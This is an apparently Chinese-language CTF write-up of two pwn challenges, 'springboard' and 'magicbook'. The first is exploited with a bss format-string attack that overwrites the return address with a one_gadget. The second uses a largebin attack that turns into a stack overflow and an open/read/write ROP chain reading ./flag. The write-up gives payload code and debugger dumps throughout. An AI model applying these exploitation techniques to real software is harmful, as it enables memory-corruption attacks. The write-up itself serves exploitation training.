springboard 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int argc, const char **argv, const char **envp) { int i; myinit(argc, argv, envp); puts ("Life is not boring, dreams are not out of reach." ); puts ("Sometimes you just need a springboard." ); puts ("Then you can see a wider world." ); puts ("There may be setbacks along the way." ); puts ("But keep your love of life alive." ); puts ("I believe that you will succeed." ); puts ("Good luck." ); putchar (10 ); puts ("Here's a simple pwn question, challenge yourself." ); for ( i = 0 ; i <= 4 ; ++i ) { puts ("You have an 5 chances to get a flag" ); printf ("This is the %d time\n" , (unsigned int )(i + 1 )); puts ("Please enter a keyword" ); read(0 , bss, 0x40 uLL); printf (bss); } return 0 ; }
5次输入非格式化字符串,bss在0x0601089
1 2 3 4 5 6 7 8 yukon@yukon-virtual-machine:/mnt/hgfs/Desktop-2$ checksec springboard [*] '/mnt/hgfs/Desktop-2/springboard' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'/home/yukon/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
patch好之后断在printf看看栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Please enter a keyword aaaa Breakpoint 2, __printf (format=0x601089 <bss> "aaaa\n") at printf.c:28 28 in printf.c pwndbg> stack 50 00:0000│ rsp 0x7fffffffdfe8 —▸ 0x40082f (main+200) ◂— add dword ptr [rbp - 4], 1 01:0008│ 0x7fffffffdff0 —▸ 0x7fffffffe0e0 ◂— 0x1 02:0010│ 0x7fffffffdff8 ◂— 0x0 03:0018│ rbp 0x7fffffffe000 —▸ 0x400840 (__libc_csu_init) ◂— push r15 04:0020│ 0x7fffffffe008 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax 05:0028│ 0x7fffffffe010 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe3f6 ◂— '/mnt/hgfs/Desktop-2/springboard' 06:0030│ 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe3f6 ◂— '/mnt/hgfs/Desktop-2/springboard' 07:0038│ 0x7fffffffe020 ◂— 0x1f798c708 08:0040│ 0x7fffffffe028 —▸ 0x400767 (main) ◂— push rbp 09:0048│ 0x7fffffffe030 ◂— 0x0 pwndbg> fmtarg 0x7fffffffdff0 The index of format argument : 7 ("\%6$p") pwndbg> fmtarg 0x7fffffffe008 The index of format argument : 10 ("\%9$p") pwndbg> fmtarg 0x7fffffffe028 The index of format argument : 14 ("\%13$p")
因为printf没有在新的函数里调用,换句话说栈没有变,所以直接改main函数返回地址就行
第一次输入:泄露libc和bp 这里可以用一次输入来将01:0008,04:0020和08:0040位置的值泄露出来从而获得stack_addr,libc_base和elf_base
1 2 3 4 5 6 7 8 print (leak_content)bp = int (leak_content[0 ], 16 ) - 0xe0 libc_base = int (leak_content[1 ], 16 ) - 240 - libc.sym['__libc_start_main' ] elf_base = int (leak_content[2 ], 16 ) - 0x3767 lg("bp" ) lg("libc_base" ) lg("elf_base" )
打了才发现没开pie,elf_base固定
第二次输入:构造二级指针->ret_addr 构造一个二级指针,指向返回地址
选择05:0028或者06:0030处的指针,将其修改为:
1 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe008 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax
1 2 3 4 5 ret_addr = bp + 8 payload = f'%{ret_addr & 0xffff } c%10$hn\x00' .encode() ru(b"Please enter a keyword" ) sl(payload)
第三次输入:修改ret_addr低两位 利用二级指针的第二级,也就是下面的0x7ffe79a1c9c8
来将0x7ffe79a1c9c8
的低两位改为onegg
1 2 3 4 5 6 7 8 9 10 pwndbg> stack 40 00:0000│ rsp 0x7ffe79a1c8c8 —▸ 0x40082f (main+200) ◂— add dword ptr [rbp - 4], 1 01:0008│ 0x7ffe79a1c8d0 —▸ 0x7ffe79a1c9c0 ◂— 0x1 02:0010│ 0x7ffe79a1c8d8 ◂— 0x200000000 03:0018│ rbp 0x7ffe79a1c8e0 —▸ 0x400840 (__libc_csu_init) ◂— push r15 04:0020│ 0x7ffe79a1c9c8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax 05:0028│ 0x7ffe79a1c8f0 —▸ 0x7ffe79a1c9c8 —▸ 0x7ffe79a1c8e8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax 06:0030│ 0x7ffe79a1c8f8 —▸ 0x7ffe79a1c9c8 —▸ 0x7ffe79a1c8e8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax pwndbg> fmtarg 0x7ffe79a1c9c8 The index of format argument : 38 ("\%37$p")
1 2 3 4 5 6 7 onegg = [0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ] onegg = onegg[3 ] + libc_base lg("onegg" ) payload = f'%{onegg & 0xffff } c%37$hn' ru(b"Please enter a keyword" ) sl(payload)
第四次输入:构造二级指针->ret_addr+2 1 2 3 4 payload = f'%{ret_addr + 2 & 0xffff } c%10$hn\x00' .encode() ru(b"Please enter a keyword" ) sl(payload)
第五次输入:修改ret_addr低四位 1 2 3 4 payload = f'%{(onegg >> 16 ) & 0xffff } c%37$hn' ru(b"Please enter a keyword" ) sl(payload)
远程的靶机有点问题,得用06:0030那个二级指针,就把上面所有%10$hn改为%11$hn就行
写的比较简陋,有关非栈上格式化字符串的详细动调过程可以看yukon.icu/2024/02/04/fmt_bss
magicbook largebin attack 先复习一下largebin attack,简单来说就是利用不同大小的largebin这个双向链表来通过任意地址写入堆地址,从而泄露heap_base的一种操作
largebin与其他chunk的主要不同是fd_nextsize
和bk_nextsize
指针的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
需要注意的几点: 1.相同大小的chunk中,只有首chunk的fd_nextsize和bk_nextsize才有具体值,之后的全按0处理,通过正常的fd和bk链接,按free时间前后来排序(除了tcachebin以外,都是FIFO) 2.不同大小的chunk通过fd_nextsize和bk_nextsize链接,链条分配是按从大到小排序的
先介绍一下largebin attack的主要思想:
首先,同大小的largebin是双向列表,并且存在一个漏洞,当我们释放的largebin比最后一个largebin的大小还小时,会将其置入链表末端,当我们释放的largebin比第一个largebin的大小还大时,会根据下面的代码将victim放到chunk和fwd(表头)中间
1 2 3 4 5 6 7 8 9 10 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
注意看这两行代码:
1 2 victim->bk_nextsize->fd_nextsize = victim; bck->fd = victim;
1.如果我们将fwd位置的chunk的bk修改为target_addr - 0x10的话,fwd->bk(bck)的fd指针就是target_addr,根据bck->fd = victim;
就能完成在target_addr处写入victim也就是heap的地址 2.如果我们将fwd的chunk的bk_nextsize修改为target_addr - 0x20的话,fwd->bk_nextsize(victim->bk_nextsize)的fd_nextsize指针就是target_addr,根据victim->bk_nextsize->fd_nextsize = victim;
就能完成在target_addr处写入victim的地址
这两个操作的效果是相同的
接下来就看这题是怎么利用的
ida 1 2 3 4 5 6 7 $ checksec magicbook [*] '/mnt/hgfs/Desktop-2/magicbook' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled持续更新中>>>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; init(argc, argv, envp); sandbox(); menu1(); dest = malloc (0x100 uLL); while ( 1 ) { book = (unsigned __int16)book; menu2(); __isoc99_scanf("%d" , &v3); if ( v3 == 4 ) exit (0 ); if ( v3 > 4 ) { LABEL_12: puts ("Invalid choice" ); } else { switch ( v3 ) { case 3 : edit_the_book(); break ; case 1 : creat_the_book(); break ; case 2 : delete_the_book(); break ; default : goto LABEL_12; } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int menu2 () { if ( (unsigned int )d >= 2 ) { puts ("nonono" ); exit (0 ); } puts ("what do you want to do?" ); puts ("1.creat a book" ); puts ("2.delete a book" ); puts ("3.edit a book" ); puts ("4.exit" ); return puts ("Your choice:" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 size_t creat_the_book () { size_t v0; size_t size[2 ]; if ( book > 5 ) { puts ("full!!" ); exit (0 ); } printf ("the book index is %d\n" , book); puts ("How many pages does your book need?" ); LODWORD(size[0 ]) = 0 ; __isoc99_scanf("%u" , size); if ( LODWORD(size[0 ]) > 0x500 ) { puts ("wrong!!" ); exit (0 ); } v0 = book; p[v0] = malloc (LODWORD(size[0 ])); return ++book; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 __int64 delete_the_book () { unsigned int v1; int v2; char buf[8 ]; puts ("which book would you want to delete?" ); __isoc99_scanf("%d" , &v2); if ( v2 > 5 || !*(&p + v2) ) { puts ("wrong!!" ); exit (0 ); } free (*(&p + v2)); puts ("Do you want to say anything else before being deleted?(y/n)" ); read(0 , buf, 4uLL ); if ( d && (buf[0 ] == 89 || buf[0 ] == 121 ) ) { puts ("which page do you want to write?" ); __isoc99_scanf("%u" , &v1); if ( v1 > 4 || !*(&p + v2) ) { puts ("wrong!!" ); exit (0 ); } puts ("content: " ); read(0 , (*(&p + v1) + 8LL ), 0x18 uLL); --d; return 0LL ; } else { if ( d ) puts ("ok!" ); else puts ("no ways!!" ); return 0LL ; } }
5次申请chunk的机会,delete中有给了一次在堆地址+8的的位置写0x18字节的功能,能够覆盖到fd_nextsize和bk_nextsize,可以完成largebin attack
1 2 3 4 5 6 7 8 9 10 void *edit_the_book () { size_t v0; char buf[32 ]; puts ("come on,Write down your story!" ); read(0 , buf, book); v0 = strlen (buf); return memcpy (dest, buf, v0); }
book值是一个全局变量,只能根据申请最大堆块数量而变化,常规的最大值为5,无法进行堆利用,我们将book处写入victim的地址,由于buf在栈上,所以这样就可以构造出一个栈溢出,后面打rop的orw即可
1 2 3 4 5 6 7 8 9 10 11 12 ru(b"give you a gift: " ) elf_base = int (io.recv(14 ), 16 ) - 0x4010 lga("elf_base" ) add(0x450 ) add(0x440 ) add(0x440 ) delete(0 ) add(0x498 ) delete(2 , b"y" ) sla(b'write?\n' , b'0' ) sa(b'content: \n' , p64(0 )*2 +p64(elf_base+0x4050 -0x20 ))
用0 2两个chunk完成largebin attack,1 3防止合并,然后利用delete中可以编辑的0x18字节将bk_nextsize改成book的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ret = elf_base + 0x000000000000101a pop_rdi = elf_base + 0x0000000000001863 puts_got = elf_base + elf.got['puts' ] puts_plt = elf_base + elf.plt['puts' ] edit_addr = elf_base + elf.sym['edit_the_book' ] lga("ret" ) lga("pop_rdi" ) lga("puts_got" ) lga("puts_plt" ) lga("edit_addr" ) payload = b'a' * 0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_addr) edit(payload) libc_base = uu64() - libc.sym["puts" ] lga("libc_base" ) open_addr = libc_base + libc.sym["open" ] read_addr = libc_base + libc.sym["read" ] write_addr = libc_base + libc.sym["write" ] pop_rsi = libc_base + 0x000000000002be51 pop_rdx_r12_ret = libc_base + 0x000000000011f497 lga("pop_rdx_r12_ret" ) payload = b'a' * 0x28 payload += flat([pop_rdi, 0 , pop_rsi, elf_base + elf.bss() + 0x100 , pop_rdx_r12_ret, 0x10 , 0 , read_addr]) payload += flat([pop_rdi, elf_base + elf.bss() + 0x100 , pop_rsi, 0 , pop_rdx_r12_ret, 0 , 0 , open_addr]) payload += flat([pop_rdi, 3 , pop_rsi, elf_base + elf.bss() + 0x200 , pop_rdx_r12_ret, 0x30 , 0 , read_addr]) payload += flat([pop_rdi, 1 , pop_rsi, elf_base + elf.bss() + 0x200 , pop_rdx_r12_ret, 0x30 , 0 , write_addr]) ru(b"come on,Write down your story!" ) sl(payload) sleep(0.1 ) s(b'./flag\x00\x00' )